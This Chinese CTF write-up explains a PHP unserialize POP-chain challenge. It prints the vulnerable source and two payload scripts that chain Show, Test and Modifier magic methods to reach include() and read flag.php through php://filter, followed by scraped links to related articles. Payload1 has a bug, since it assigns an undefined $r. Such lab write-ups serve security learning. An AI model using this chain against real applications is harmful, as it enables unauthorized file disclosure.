[BJDCTF2020]EzPHP-POP链
那次某信内部比赛中有道pop链问题的题目,我当时没有做出来,所以在此总结一下,本次以buu上复现的[MRCTF2020]Ezpop为例。
题目
1 Welcome to index.php
2 <?php
3 //flag is in flag.php
4 //WTF IS THIS?
5 //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
6 //And Crack It!
7 class Modifier {
8 protected $var;
9 public function append($value){
10 include($value);
11 }
12 public function __invoke(){
13 $this->append($this->var);
14 }
15 }
16
17 class Show{
18 public $source;
19 public $str;
20 public function __construct($file='index.php'){
21 $this->source = $file;
22 echo 'Welcome to '.$this->source."<br>";
23 }
24 public function __toString(){
25 return $this->str->source;
26 }
27
28 public function __wakeup(){
29 if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
30 echo "hacker";
31 $this->source = "index.php";
32 }
33 }
34 }
35
36 class Test{
37 public $p;
38 public function __construct(){
39 $this->p = array();
40 }
41
42 public function __get($key){
43 $function = $this->p;
44 return $function();
45 }
46 }
47
48 if(isset($_GET['pop'])){
49 @unserialize($_GET['pop']);
50 }
51 else{
52 $a=new Show;
53 highlight_file(__FILE__);
54 }
分析
将涉及到的魔法函数先列出一下:
__construct 当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发
大致分析一下,这道题主要存在两个点:
1.序列化pop链
利用几个类之间相互关联进行构造
2.文件包含漏洞
Modifier类中append函数使用了include(),会出现文件包含漏洞。
详细分析
1.根据以上题目,当用get方法传一个pop参数后,会自动调用Show类的_wakeup()魔术方法。
2._wakeup()通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了__toString()方法;
3.如果__toString()其中str赋值为一个实例化的Test类,那么其类不含有source属性,所以会调用Test中的_get()方法。
4.如果_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。
5.利用文件包含漏洞,使用_invoke()读取flag.php的内容。
Modifier::__invoke()<--Test::__get()<--Show::__toString()
总结
首先反序列化一个实例化的Show($a),就会调用_wakeup(),其中$a会被赋值给source。所以让$a是一个实例化的Show类,这样就会调用_tostring(),然后让里面的$a这个Show类中的str赋值为Test()类,然后让str这个Test()类中的p赋值为Modifier()类。
payload1
1 <?php
2 class Show{
3 public $source;
4 public $str;
5 }
6
7 class Test{
8 public $p;
9
10
11 }
12 class Modifier{
13 protected $var = "php://filter/convert.base64-encode/resource=flag.php";
14
15 }
16 $s = new Show();
17 $t = new Test();
18 $m = new Modifier();
19 $s->source = $s;
20 $s->str = $t;
21 $t->p = $r;
22 var_dump(urlencode(serialize($s)));
23
24 ?>
payload2
1 <?php
2 class Modifier{
3
4 protected $var = "php://filter/convert.base64-encode/resource=flag.php";
5 }
6
7 class Show{
8 public $source;
9 public $str;
10 public function __construct(){
11 $this->str = new Test();
12
13 }
14
15 }
16 class Test{
17 public $p;
18 public function __construct(){
19
20 $this->p = new Modifier();
21 }
22
23 }
24 $a = new Show();
25 $b = new Show();
26 $b->str = "";
27 $b->source = $a;
28 var_dump($b);
29 var_dump(urlencode(serialize($b)));
30 ?>
参考:https://blog.csdn.net/weixin_43952190/article/details/106016260
[BJDCTF2020]EzPHP-POP链的更多相关文章
- 2019强网杯web upload分析(pop链)
参考链接:https://blog.csdn.net/qq_41173457/article/details/90724943 注意 只要namespace相同那就可以直接实例化同一namespace ...
- [BJDCTF2020]EzPHP
[BJDCTF2020]EzPHP 解码:http://794983a5-f5dc-4a13-bc0b-ca7140ba23f3.node3.buuoj.cn/1nD3x.php 源代码: <? ...
- Smarty 3.1.34 反序列化POP链(任意文件删除)
Smarty <= 3.1.34,存在任意文件删除的POP链. Exp: <?php class Smarty_Internal_Template { public $smarty = n ...
- PHP审计之POP链挖掘
PHP审计之POP链挖掘 前言 续上文中的php反序列化,继续来看,这个POP的挖掘思路.在其中一直构思基于AST去自动化挖掘POP链,迫于开发能力有限.没有进展,随后找到了一个别的师傅已经实现好的项 ...
- php反序列化之pop链构造
本题是某信有一次内部比赛的题目,涉及到pop链的构造问题,所以在这里与大家分享一下 题目 查看源码 逻辑是当参数fn存在且不包含string.zlib.flag这三个字符串时,进行文件包含这里的过滤是 ...
- pop链构造
class Person { private $name; private $sex; private $age; //__set()方法用来设置私有属性 function __set($proper ...
- 构造注入链:POP
1.POP链原理简介: 在反序列化中,我们能控制的数据就是对象中的属性值,所以在PHP反序列化中有一种 漏洞利用方法叫"面向属性编程",即POP( Property Oriente ...
- ThinkPHP v5.1.x POP 链分析
环境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔术方法并巧妙构造特殊属性调用一系列函 ...
- yso中URLDNS的pop链分析(重新分析整理)
#发现之前对这个链关注的点有点问题,重新分析了一下 由于最近面试的过程中被问到了yso中URLDNS这个pop链的工作原理,当时面试因为是谈到shiro的怎么检测和怎么攻击时谈到了这个.其实在实战中用 ...
随机推荐
- [BUUCTF]PWN——xdctf2015_pwn200
xdctf2015_pwn200 附件 步骤 例行检查,32位程序,开启了nx保护 本地试运行一下程序,看看大概的情况 32位ida载入,习惯性的检索程序里的字符串,没有发现什么铭感的地方,直接看ma ...
- Position定位详解
Position CSS position属性用于指定一个元素在文档中的定位方式.top,right,bottom 和 left 属性则决定了该元素的最终位置. 在分析position元素定位之前,先 ...
- android studio出现 Could not initialize class com.android.sdklib.repository.AndroidSdkHandler
新的android studio (4.2)已经不支持旧有的 com.android.tools.build:gradle:2.3.3 了,有些方法和类会找不到. 去build.gradle中把这个 ...
- 磁盘分区丢失testdisk恢复
故障修复步骤: 1. 检查磁盘分区级文件系统确实不在: 2. 云主机内部下载testdisk工具修复 yum install testdisk -y 3. 执行命令testdisk /dev/vdc进 ...
- Go1.18中的泛型编程
目录 目录 前言 泛型是什么 Go的泛型 泛型函数 泛型类型 类型集合 和接口的差异 总结 前言 经过这几年的千呼万唤,简洁的Go语言终于在1.18版本迎来泛型编程.作为一门已经有了14年历史的强类型 ...
- wordpress中遇到的问题
在博客园申请了账号,也已经开始写了两篇内容,但还是想要有属于自己的小站.于是将域名续费了几年,又在我之前买的vps上搭建了一个wordpress博客站点,这样以后我就可以同时发布到两个地方. 根据教程 ...
- 基于 Electron 的 Rubick 2.4k star 啦,同步更新新功能!
为什么要做 Rubick 其实做 Rubick 1.x 的初衷就是解决自己的问题的:特别需要一款支持自定义插件的桌面端应用来简化使用者安装庞大桌面端应用的臃肿.而且涉及到数据安全的问题,插件只能在公司 ...
- [平台建设] Spark任务的诊断调优
背景 平台目前大多数任务都是Spark任务,用户在提交Spark作业的时候都要进行的一步动作就是配置spark executor 个数.每个executor 的core 个数以及 executor 的 ...
- Reflection 基础知识(一)
反射机制的定义 反射通常指在程序在运行时能够获取自身的信息. 静态语言反射 在java中使用反射的一个例子 Class<?> clazz = Class.forName("com ...
- 基于Spring MVC + Spring + MyBatis的【密室逃脱游戏主题排行榜】
资源下载: https://download.csdn.net/download/weixin_44893902/25706959 一.语言和环境 1. 实现语言:Java语言 2. 环境要求:ecl ...